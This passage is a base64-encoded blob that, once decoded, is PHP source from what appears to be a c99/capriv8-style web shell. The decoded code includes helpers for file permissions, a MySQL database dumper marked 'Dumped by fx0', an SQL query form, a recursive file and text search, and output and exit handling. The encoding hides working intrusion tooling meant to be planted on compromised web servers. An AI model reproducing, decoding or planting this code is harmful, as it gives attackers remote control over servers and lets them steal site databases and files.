KCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiAgICAgIGVsc2UgeyR0eXBlID0gIj8iO30NCiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsNCiAgICAgICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogICAgICBlbHNlIHskdCA9ICI/Ijt9DQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICAgICAgJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkgew0KICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiAgICAgIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsNCiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7DQogICAgICBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsNCiAgICAgIGdsb2JhbCAkc2hfdmVyOw0KICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAkZGIgPSAkc2V0WyJkYiJdOw0KICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9DQogICAgICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KICAgICAgfQ0KICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsNCiAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogICAgICB9DQogICAgICAkb3V0ID0gIg0KICAgICAgIyBEdW1wZWQgYnkgZngwDQogICAgICAjDQogICAgICAjIEhvc3Qgc2V0dGluZ3M6DQogICAgICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiAgICAgICMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiAgICAgICMgREI6IFwiIi4kZGIuIlwiDQogICAgICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsNCiAgICAgICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiAgICAgIGZvcmVhY2goJHRhYnMgYXMgJHRhYikgew0KICAgICAgICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpIHsNCiAgICAgICAgICBpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgICAgICAgICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgICAgICAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOw0KICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICAgICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHsNCiAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgew0KICAgICAgICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAgICAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgICAgICAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KICAgICAgaWYgKCRmaWxlKSB7DQogICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICAgICAgICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgICAgICAgIGZjbG9zZSAoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgew0KICAgICAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpIHsNCiAgICAgICAgJHZhbHVlID0gIiI7DQogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICAgICAgICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAgICAgICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogICAgICB9DQogICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogICAgICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIHJldHVybiAkYXJyYXk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KICAgICAgZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogICAgICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogICAgICByZXR1cm4gJGVycm9yOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpIHsNCiAgICAgIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3RvO30NCiAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjYXByaXY4X3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF94IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7DQogICAgICAgICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuY2Fwcml2OF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKSB7DQogICAgICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiAgICAgIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogICAgICBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkgew0KICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICAgICAgJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KICAgICAgJHR5cGVzID0gYXJyYXkoDQogICAgICAgICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAgICAgICAiU0hPVyI9PmFycmF5KDIsMSksDQogICAgICAgICJERUxFVEUiPT5hcnJheSgxKSwNCiAgICAgICAgIkRST1AiPT5hcnJheSgxKQ0KICAgICAgKTsNCiAgICAgICRyZXN1bHQgPSBhcnJheSgpOw0KICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiAgICAgIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsNCiAgICAgICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAgICAgICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgICAgICAgaWYgKCR0eXBlc1skb3BdID09IDIpIHsNCiAgICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7DQogICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikgew0KICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICAgICAgICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgICAgICAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Fmc2VhcmNoIikpIHsNCiAgICBmdW5jdGlvbiBjYWZzZWFyY2goJGQpIHsNCiAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICBnbG9iYWwgJGZvdW5kX2Q7DQogICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICBnbG9iYWwgJGE7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsNCiAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICAgICAgICAgaWYgKGlzX2RpcigkZC4kZikpIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Y2Fmc2VhcmNoKCRkLiRmKTt9DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHNlYXJjaF9pX2YrKzsNCiAgICAgICAgICAgIGlmICgkYm9vbCkgew0KICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKSB7DQogICAgICAgICAgICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgICAgICAgICAgIGlmICghJGFbInRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0cnRvbG93ZXIoJHIpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgICAgICAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9DQogICAgICAgICAgICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgfQ0KICB9DQogIGlmICgkeCA9PSAiZ29maWxlIikgew0KICAgIGlmIChpc19kaXIoJGYpKSB7ICR4ID0gImxzIjsgJGQgPSAkZjsgfQ0KICAgIGVsc2UgeyAkeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7IH0NCiAgfQ0KICBAb2Jfc3RhcnQoKTsNCiAgQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KICBmdW5jdGlvbiBvbnBocHNodXRkb3duKCkgew0KICAgIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7DQogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkgew0KICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICAgICAgZWNobyAkdjsNCiAgICAgIEBvYl9lbmRfZmx1c2goKTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gY2Fwcml2OGV4aXQoKSB7DQogICAgb25waHBzaHV0ZG93bigpOw0KICAgIGV4aXQ7DQogIH0NCiAgaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOw0KICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgaWYgKGVtcHR5KCR0bXBkaXIpKSB7DQogICAgJHRtcGRpciA9IGluaV9nZX